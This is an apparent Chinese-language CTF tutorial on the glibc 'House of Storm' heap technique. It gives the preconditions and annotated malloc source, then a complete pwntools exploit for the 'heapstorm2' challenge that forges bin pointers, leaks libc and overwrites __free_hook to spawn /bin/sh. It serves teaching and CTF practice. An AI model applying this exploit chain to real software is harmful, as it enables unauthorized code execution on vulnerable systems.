HouseOfStorm
咳咳咳咳
因为表哥们的阳了个阳
所以我们的表哥有话说系列
也暂时停更了一段时间
不过今天
表哥们终于带来新内容了
本期所讲解的内容是
HouseOfStorm
house of storm可以在任意地址写出chunk地址,进而吧这个地址的高位当作size,可以进行任意地址分配chunk,也可以造成任意地址写。但是利用条件非常苛刻
漏洞利用条件
-
1. glibc版本小于2.30,因为2.30之后加入了检查
-
2. 需要攻击者在
large_bin
和unsorted_bin
中分别布置一个chunk 这两个chunk需要在归位之后处于同一个largebin
的index中且unsorted_bin
中的chunk要比large_bin
中的大 -
3. 需要
unsorted_bin
中的bk指针
可控 -
4. 需要
large_bin
中的bk指针和bk_nextsize
指针可控
直接从源码角度看
直接拿出我们要利用的部分
//我们控制unsorted_chunk->bk = fake_chunk
//原本源码中的变量名字已被替换
//unsorted_chunks(av)->bk = fake_chunk
unsorted_chunks(av)->bk = unsorted_chunk->bk;
//fake_chunk+0x10 = unsorted_bin
bck->fd = unsorted_chunks(av);
else
{
/*
设要加入的free chunk走到了这一步 我们将其称为unsorted_bin_chunk(victim)
到这里说明unsorted_bin_chunk->size>某个large_bin_chunk->size
这里我们控制
//下面的减和加的数单纯是为了后面链入操作做准备
large_chunk->bk=fake_chunk+0x8
large_chunk->bk_nextsize=fake_chunk-0x18-5
*/
unsorted_bin_chunk->fd_nextsize=largebin_chunk;
//unsorted_chunk->bk_nextsize=fake_chunk-0x18-5;
unsorted_chunk->bk_nextsize= = largebin_chunk->bk_nextsize
largebin_chunk->bk_nextsize = unsorted_chunk;
//相当于(fakechunk-0x18-5)+0x20=fakechunk+0x3
//因为这里要伪造size,64位地址有效部分只有6字节
//因此往fakechunk+3写可以写完5个字节
//fake chunk+8也就是size处正好可以写入一个字节
//也就是堆地址的最高字节写入了size的位置
//fake_chunk+0x3=unsorted_chunk
unsorted_bin_chunk->bk_nextsize->fd_nextsize = unsorted_bin_chunk;
}
//bck=fake_chunk+0x8
bck = largebin_chunk->bk;
}
}
}
mark_bin(av, victim_index); //把unsorted_bin_chunk加入到的bin的表示为非空
//把unsorted_bin_chunk加入到large bin的链表中
unsorted_bin_chunk->bk = largebin_chunk->bk;
unsorted_bin_chunk->fd = largebin_chunk;
largebin_chunk->bk = unsorted_bin_chunk;
//fake_chunk+0x18=unsorted_chunk
largebin_chunk->bk->fd = unsorted_bin_chunk;
总之就是改4个地方
-
1. unsorted_chunk->bk = fake_chunk #把fake_chunk链到了unsorted_bin中
-
2. fake_chunk+0x10 = unsorted_bin #伪造fake_chunk的fd
-
3. fake_chunk+0x3 = unsorted_chunk #伪造fake_chunk的size
-
4. fake_chunk+0x18 = unsorted_chunk #伪造fake_chunk的bk
然后fake chunk链入unsorted_bin中,使用malloc(0x48)即可在fake chunk分配堆块
同时fakechun+0x3处存着一个堆块地址
这里有一个要注意的地方
__libc_malloc会存在chunk的检查
/*
#define arena_for_chunk(ptr)
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
过以下检测需要满足的要求,只需满足一条即可
1. victim 为0
2. IS_MMAPPED 为 1
3. NON_MAIN_ARENA 为 0
~~*/~~
assert(!victim || chunk_is_mmapped(mem2chunk(victim))
|| ar_ptr == arena_for_chunk(mem2chunk(victim)));
//第一条无法满足,第二条受size控制,size是我们写进去的,因此可以考虑
0x56:101 0110
0x55:101 0101
要想绕过检查 我们只能选择0x56
可以开启aslr多试几遍
例题
heap2storm
from pwn import *
io=process('./heapstorm2')
libc=ELF('./libc-2.23.so')
def allocate(size):
io.recvuntil("Command: ")
io.sendline(str(1))
io.recvuntil('Size: ')
io.sendline(str(size))
def edit(index,content):
io.recvuntil("Command: ")
io.sendline(str(2))
io.recvuntil('Index: ')
io.sendline(str(index))
io.recvuntil('Size: ')
io.sendline(str(len(content)))
io.recvuntil('Content: ')
io.send(content)
def delete(index):
io.recvuntil("Command: ")
io.sendline(str(3))
io.recvuntil('Index: ')
io.sendline(str(index))
def view(index):
io.recvuntil("Command: ")
io.sendline(str(4))
io.recvuntil('Index: ')
io.sendline(str(index))
#unsorted bin
allocate(0x18)#0
allocate(0x508)#1
allocate(0x18)#2
#large bin
allocate(0x18)#3
allocate(0x508)#4
allocate(0x18)#5
allocate(0x18)#6
#构造overlap 准备unsorted bin chunk
edit(1,b'a'*0x4f0+p64(0x500))#缩小chunk需要设置新的pre_size,
delete(1)
edit(0,b'h'*(0x18-0xc))#off by null修改size从0x510->0x500
allocate(0x18)#1 如果不设置新的pre_size就会无法通过unlink检查
allocate(0x4d8)#7 如果不在上面缩小size chunk2的pre_inuse就会设为1,就无法unlink了
#unlink
delete(1)
delete(2)#1 2 7已经成为一个chunk了
allocate(0x38)#1
allocate(0x4e8)#2
#7指向了2的chunk-0x10
#同样的手法对3 4 5 准备large bin chunk
edit(4,b'a'*0x4f0+p64(0x500))
delete(4)
edit(3,b'h'*(0x18-0xc))
allocate(0x18)#4
allocate(0x4d8)#8
delete(4)
delete(5)
allocate(0x48)#4 剩下0x4e0相当于5
#因为unsorted bin进入large bin的顺序是bk
#先遍历5再遍历2
#所以不能让5和2的大小一样 否则5无法进入large bin
#简单考虑就是house of storm中large bin chunk size必须小于unsorted bin chunk size
#将构造好的chunk放入对应的bin中
delete(2)#前面构造好的2进入unsorter bin 2->5 0x4f0->0x4e0
allocate(0x4e8)#2 又把构造好的2申请回来同时前面构造好的5进入了large bin
delete(2)#前面的2进入了unsorted bin中
#从这里就能看出 如果5和2的size一样 那么5就无法进入large bin了
mem=0x13370000+0x800#heap_mem
fake_chunk=mem-0x20
#houseOfstorm
#unsorted_chunk->bk = fake_chunk
#large_chunk->bk=fake_chunk+0x8
#large_chunk->bk_nextsize=fake_chunk-0x18-5
#修改unsorted bin chunk的bk
payload=p64(0)*2+p64(0)+p64(0x4f1)#unsorted bin size
payload+=p64(0)+p64(fake_chunk)#unsorted bin bk
edit(7,payload)#修改unsorted bin的bk指针
#修改large bin chunk的bk 和bk_nextsize
payload=p64(0)*4+p64(0)+p64(0x4e1)#修改large bin chunk的size
payload+=p64(0)+p64(fake_chunk+0x8)#修改large bin chunk的bk
payload+=p64(0)+p64(fake_chunk-0x18-0x5)#修改large bin chunk的bk_nextsize
edit(8,payload)
gdb.attach(io,"aslr on")
pause()
allocate(0x48)# 2分配到了堆块
# try:
# allocate(0x48)#2
# except EOFError:
# io.close()
payload = p64(0)*6 + p64(0x13370800)
edit(2, payload) #修改了r0~r4为0,并且修改了chunk0的地址,此时的chunk0的size非常大,因为异或的是0
#chunl0已经被修改位0x13370800,现在整个heap_array的内容都可以控制
payload = p64(0)*3 +p64(0x13377331) #满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(fake_chunk+3) + p64(8) #chunk1
edit(0, payload) #满足show的条件
view(1) #我们刚刚house of storm 写的fakechunk地址泄漏出来
io.recvuntil("]: ")
heap = u64(io.recv(6).ljust(8, b'x00'))
success("heap:"+hex(heap))
payload = p64(0)*3 + p64(0x13377331)#满足show的条件
payload += p64(0x13370800) + p64(0x1000) #chunk0
payload += p64(heap+0x10) + p64(8) #chunk1
edit(0, payload)
view(1) #泄漏libc地址
io.recvuntil("]: ")
malloc_hook = u64(io.recv(6).ljust(8, b'x00')) -0x58 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+ libc.sym['system']
success("free_hook:"+hex(free_hook))
#--------------修改 free_hook -----------------------------------#
payload = p64(0)*4 #不需要Show了 不需要满足条件了直接填0
payload += p64(free_hook) + p64(0x100)#chunk0
payload += p64(0x13370800+0x40) + p64(8)#chunk1
payload += b'/bin/shx00'
edit(0, payload)#写入chunk[0]=free hook
edit(0, p64(system))#修改free_hook的值
delete(1)#system('/bin/sh')
io.interactive()
本期的知识分享就到这里了
大家在学习的同时
也要注意自己的身体健康
长按下方的二维码关注我们
下期表哥们的干货
已经在等你了!!!
原文始发于微信公众号(SKSEC):【表哥有话说 第87期】HouseOfStorm
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论